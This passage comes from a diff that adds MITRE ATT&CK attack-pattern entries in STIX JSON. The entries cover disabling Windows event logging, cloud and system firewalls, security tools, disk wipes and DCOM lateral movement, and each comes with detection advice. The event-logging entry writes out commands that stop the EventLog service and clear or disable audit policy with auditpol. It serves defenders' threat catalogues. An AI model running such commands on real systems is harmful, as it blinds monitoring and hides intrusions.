"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", + "x_mitre_defense_bypassed": [ + "Log analysis" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.", + "x_mitre_contributors": [ + "Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team" + ], + "x_mitre_detection": "Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) \n\nIn Event Viewer, Event ID 1102 under the \u201cSecurity\u201d Windows Log and Event ID 104 under the \u201cSystem\u201d Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\n\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1562/002", + "external_id": "T1562.002", + "source_name": "mitre-attack" + }, + { + "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/", + "description": "Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.", + "source_name": "Windows Log Events" + }, + { + "url": "https://www.coretechnologies.com/blog/windows-services/eventlog/", + "description": "Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.", + "source_name": "EventLog_Core_Technologies" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy", + "description": "Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.", + "source_name": "Audit_Policy_Microsoft" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings", + "description": "Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.", + "source_name": "Advanced_sec_audit_policy_settings" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol", + "description": "Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.", + "source_name": "auditpol" + }, + { + "url": "https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging", + "description": " dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.", + "source_name": "Disable_Win_Event_Logging" + }, + { + "url": "https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html", + "description": "STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.", + "source_name": "auditpol.exe_STRONTIC" + }, + { + "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md", + "description": "redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.", + "source_name": "T1562.002_redcanaryco" + }, + { + "url": "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/", + "description": "Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.", + "source_name": "def_ev_win_event_logging" + }, + { + "url": "https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c", + "description": "svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.", + "source_name": "evt_log_tampering" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Disable or Modify Cloud Firewall", + "x_mitre_data_sources": [ + "Firewall: Firewall Rule Modification", + "Firewall: Firewall Disable" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-08T10:33:02.146Z", + "created": "2020-06-24T16:55:46.243Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity.(Citation: Expel IO Evil in AWS)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.", + "x_mitre_contributors": [ + "Expel" + ], + "x_mitre_detection": "Monitor cloud logs for modification or creation of new security groups or firewall rules.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1562/007", + "external_id": "T1562.007", + "source_name": "mitre-attack" + }, + { + "url": "https://expel.io/blog/finding-evil-in-aws/", + "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.", + "source_name": "Expel IO Evil in AWS" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Disable or Modify System Firewall", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Windows Registry: Windows Registry Key Modification", + "Firewall: Firewall Disable", + "Firewall: Firewall Rule Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-29T22:18:11.166Z", + "created": "2020-02-21T21:00:48.814Z", + "x_mitre_defense_bypassed": [ + "Firewall" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1562/004", + "external_id": "T1562.004", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Disable or Modify Tools", + "x_mitre_data_sources": [ + "Process: Process Termination", + "Windows Registry: Windows Registry Key Modification", + "Windows Registry: Windows Registry Key Deletion", + "Command: Command Execution", + "Service: Service Metadata", + "Sensor Health: Host Status" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-18T21:27:48.159Z", + "created": "2020-02-21T20:32:20.810Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Log analysis", + "Signature-based detection", + "Host intrusion prevention systems", + "File monitoring" + ], + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "Containers", + "IaaS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)", + "x_mitre_contributors": [ + "Gordon Long, Box, Inc., @ethicalhax", + "Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security", + "Nathaniel Quist, Palo Alto Networks", + "Gal Singer, @galsinger29, Team Nautilus Aqua Security" + ], + "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\n\nLack of expected log events may be suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1562/001", + "external_id": "T1562.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/578.html", + "external_id": "CAPEC-578", + "source_name": "capec" + }, + { + "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/", + "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.", + "source_name": "OutFlank System Calls" + }, + { + "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/", + "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.", + "source_name": "MDSec System Calls" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-21T20:35:48.979Z", + "name": "Disabling Security Tools", + "created": "2017-05-31T21:31:07.958Z", + "id": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1089", + "external_id": "T1089", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/578.html", + "external_id": "CAPEC-578", + "source_name": "capec" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-20T22:07:27.495Z", + "name": "Disk Content Wipe", + "created": "2019-03-29T14:59:50.763Z", + "id": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1488", + "external_id": "T1488", + "source_name": "mitre-attack" + }, + { + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "source_name": "Novetta Blockbuster" + }, + { + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "source_name": "Novetta Blockbuster Destructive Malware" + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1092091/download", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "source_name": "DOJ Lazarus Sony 2018" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-28T22:53:20.162Z", + "name": "Disk Content Wipe", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Driver: Driver Load", + "Drive: Drive Access", + "Drive: Drive Modification" + ], + "x_mitre_version": "1.0", + "created": "2020-02-20T22:06:41.739Z", + "x_mitre_permissions_required": [ + "SYSTEM", + "root", + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac", + "description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1561/001", + "external_id": "T1561.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "source_name": "Novetta Blockbuster" + }, + { + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "source_name": "Novetta Blockbuster Destructive Malware" + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1092091/download", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "source_name": "DOJ Lazarus Sony 2018" + }, + { + "source_name": "Microsoft Sysmon v6 May 2017", + "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-20T22:11:00.106Z", + "name": "Disk Structure Wipe", + "created": "2019-03-19T19:38:27.097Z", + "id": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1487", + "external_id": "T1487", + "source_name": "mitre-attack" + }, + { + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks", + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "source_name": "Symantec Shamoon 2012" + }, + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "source_name": "Kaspersky StoneDrill 2017" + }, + { + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "source_name": "Unit 42 Shamoon3 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Disk Structure Wipe", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Driver: Driver Load", + "Drive: Drive Access", + "Drive: Drive Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-28T23:00:00.367Z", + "created": "2020-02-20T22:10:20.484Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9", + "description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1561/002", + "external_id": "T1561.002", + "source_name": "mitre-attack" + }, + { + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks", + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "source_name": "Symantec Shamoon 2012" + }, + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "source_name": "Kaspersky StoneDrill 2017" + }, + { + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "source_name": "Unit 42 Shamoon3 2018" + }, + { + "source_name": "Microsoft Sysmon v6 May 2017", + "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Disk Wipe", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Driver: Driver Load", + "Drive: Drive Access", + "Drive: Drive Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-28T23:00:00.599Z", + "created": "2020-02-20T22:02:20.372Z", + "x_mitre_permissions_required": [ + "User", + "root", + "SYSTEM", + "Administrator" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967", + "description": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1561", + "external_id": "T1561", + "source_name": "mitre-attack" + }, + { + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "source_name": "Novetta Blockbuster Destructive Malware" + }, + { + "source_name": "Microsoft Sysmon v6 May 2017", + "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Distributed Component Object Model", + "x_mitre_data_sources": [ + "Module: Module Load", + "Process: Process Creation", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-06-23T18:58:32.752Z", + "created": "2020-02-11T18:26:36.444Z", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1021/003", + "external_id": "T1021.003", + "source_name": "mitre-attack" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", + "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", + "source_name": "Fireeye Hunting COM June 2019" + }, + { + "source_name": "Microsoft COM", + "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx" + }, + { + "source_name": "Microsoft Process Wide Com Keys", + "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx" + }, + { + "source_name": "Microsoft COM ACL", + "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1" + }, + { + "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017", + "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/" + }, + { + "source_name": "Enigma MMC20 COM Jan 2017", + "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/" + }, + 